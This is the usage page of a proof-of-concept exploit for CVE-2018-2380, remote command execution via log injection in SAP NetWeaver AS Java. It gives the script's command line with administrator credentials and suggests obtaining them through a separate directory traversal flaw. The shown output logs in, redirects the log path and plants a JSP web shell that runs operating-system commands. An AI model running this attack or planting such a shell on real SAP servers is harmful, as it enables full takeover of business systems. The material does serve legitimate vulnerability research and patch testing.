CVE-2018-2380 (CVSS v3 Base Score: 6.6/10)
PoC of Remote Command Execution via Log injection on SAP NetWeaver AS JAVA CRM Script usage example
python crm_rce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true
Where --host is a SAP server IP --port SAP NetWeaver AS Java port username and password of SAP administrator you can get using SAP Redwood directory traversal vulnerability.
example script usage output
C:\exploits\SAP>crm_rce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true
_______ _______ _______ _______ _______ _______ _
( ____ \( ____ )( ____ )( ____ \( ____ \( ___ )( ( /|
| ( \/| ( )|| ( )|| ( \/| ( \/| ( ) || \ ( |
| (__ | (____)|| (____)|| (_____ | | | (___) || \ | |
| __) | __)| _____)(_____ )| | | ___ || (\ \) |
| ( | (\ ( | ( ) || | | ( ) || | \ |
| (____/\| ) \ \__| ) /\____) || (____/\| ) ( || ) \ |
(_______/|/ \__/|/ \_______)(_______/|/ \||/ )_)
Vahagn @vah_13 Vardanian
Bob @NewFranny
Mathieu @gelim
CVE-2018-2380
[!] Try to get RCE using log injection
[!] Get j_salt token for requests
[!] Login to the SAP portal
[!] Change log path
[!] Upload "Runtime.getRuntime().exec(request.getParameter("cmd")) " shell to https://127.0.0.1:50001/ERPScan_shell_31275.0.jsp?cmd=ipconfig
[!] Restore logs path to ./default_log_name.log
[!] Enjoy!
C:\exploits\SAP>